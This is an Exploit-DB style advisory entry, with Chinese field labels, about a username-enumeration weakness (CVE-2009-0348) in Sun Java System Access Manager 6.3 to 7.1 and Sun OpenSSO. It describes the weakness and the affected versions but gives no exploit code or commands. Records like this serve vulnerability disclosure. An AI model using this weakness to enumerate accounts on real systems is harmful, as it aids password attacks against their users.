标题: Sun Java System Access Manager 7.1 - 'Username' Enumeration EDB-ID: 32762 CVE: 2009-0348 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/33489/info

Sun Java System Access Manager is prone to a username-enumeration weakness because of a design error in the application when verifying user-supplied input.

Attackers may exploit this weakness to discern valid usernames. This may aid them in brute-force password cracking or other attacks.

This issue affects the following versions:

Sun Java System Access Manager 6 2005Q1 (6.3)
Sun Java System Access Manager 7 2005Q4 (7.0)
Sun Java System Access Manager 7.1

Sun OpenSSO is also reported vulnerable.
